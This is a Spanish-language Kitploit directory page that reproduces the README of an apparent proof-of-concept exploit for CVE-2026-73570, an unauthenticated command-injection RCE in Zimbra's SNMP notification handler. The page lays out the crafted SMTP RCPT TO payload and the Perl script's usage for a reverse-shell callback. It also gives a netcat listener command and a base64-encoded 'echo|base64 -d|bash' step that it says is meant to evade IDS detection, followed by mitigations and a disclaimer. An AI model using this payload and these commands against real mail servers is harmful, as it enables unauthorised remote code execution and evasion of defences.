Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/gabrielunknown/cve-2026-73570
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP Notification Inyección de Comandos del Sistema Operativo — RCE no autenticado mediante exploit SMTP (PoC)

Ver Repositorio
4197hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-73570 — Exploit RCE de notificación SNMP en Zimbra ZCS (PoC)

Ejecución remota de código no autenticada mediante inyección de comandos del sistema operativo en el gestor de notificaciones SNMP de Zimbra Collaboration Suite.


Descripción general

CampoValor
CVECVE-2026-73570
CVSS 3.18.9 ALTA — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo
Afecta aZimbra ZCS < 10.1.20 (con zimbra-snmp instalado)
Corregido enZCS 10.1.20 — julio de 2026
CISA KEVAñadido el 2026-08-21 (fecha límite de remediación para FCEB: 2026-08-24)
Autenticación requeridaNinguna
Ejecución comoUsuario del sistema operativo zimbra

Causa raíz

El paquete opcional zimbra-snmp incluye una regla de swatchdog que monitoriza /var/log/zimbra.log en busca de líneas que coincidan con:

Service status change: <NAME> changed from <STATE> to <STATE>

Cuando se encuentra una coincidencia, swatchdog pasa el campo <NAME> capturado directamente al script de shell de notificación SNMP sin ningún tipo de saneamiento.

Un atacante no autenticado puede inyectar una entrada de registro manipulada enviando un comando SMTP RCPT TO especialmente formado. Utilizando una parte local entrecomillada según RFC 5321, los metacaracteres de shell —por ejemplo, $(...)— se incrustan dentro de <NAME> y se ejecutan cuando swatchdog procesa la línea de registro resultante.


Condiciones previas

Las tres condiciones deben cumplirse en el objetivo para que la vulnerabilidad sea explotable:

  • El paquete zimbra-snmp está instalado
  • Las notificaciones SNMP están habilitadas (snmp_notify = true)
  • El servicio swatchdog está en ejecución

Flujo del ataque

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. Conéctese al puerto 25 / 465 / 587.
  2. Envíe una conversación SMTP estándar con el RCPT TO armamentizado.
  3. Zimbra registra los datos de la dirección independientemente de si se acepta o se rechaza.
  4. swatchdog coincide con el patrón del registro y extrae el $(CMD) inyectado.
  5. El manejador SNMP ejecuta CMD como el usuario del sistema operativo zimbra.

Exploit

Requisitos

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

o mediante apt-get

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

o mediante yum

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

Objetivo único

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

Lista de objetivos

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — un host por línea, :port opcional, las líneas que comienzan con # se ignoran:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

Todas las opciones

FlagLongDefaultDescription
-H--host—Nombre de host o IP de destino único
-f--file—Archivo que contiene la lista de objetivos
-p--port587Puerto SMTP predeterminado
-r--rhost—Tu IP para la callback del reverse shell
-R--rport4444Puerto del listener
-t--timeout15Tiempo de espera del socket en segundos
-S--ssloffTLS directo (habilitado automáticamente en el puerto 465)
-v--verboseoffMostrar el diálogo SMTP completo
-L--logfile—Escribir el registro de la sesión en un archivo
-h--help—Mostrar ayuda

Ejemplo completo

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

Técnica de payload

El comando de reverse shell se codifica en base64 antes de la inyección:

echo <b64>|base64 -d|bash

Esto evita que IDS/IPS detecten firmas en texto plano como /dev/tcp, bash -i o nc -e. El blob codificado se inyecta como $(...) dentro de la parte local entre comillas de RCPT TO, lo que desencadena la ejecución en el lado del servidor cuando swatchdog procesa la entrada del registro.


Mitigación

AcciónDetalle
ParcheActualizar a Zimbra ZCS ≥ 10.1.20
Deshabilitar la notificación SNMPzmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
Eliminar el paqueteapt remove zimbra-snmp / yum remove zimbra-snmp
Controles de redRestringir el SMTP entrante (25/465/587) a retransmisores de confianza cuando sea operativamente viable

Referencias

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • Aviso de CERT.pl
  • BiuTrap/CVE-2026-73570

Descargo de responsabilidad

Esta prueba de concepto se publica únicamente para pruebas de seguridad autorizadas, investigación académica y fines defensivos.
Ejecutarla contra sistemas que no son de su propiedad o para los que no cuenta con permiso escrito explícito para realizar pruebas es ilegal.
El autor no asume ninguna responsabilidad por cualquier uso indebido o daño causado por esta herramienta.


Descargar herramienta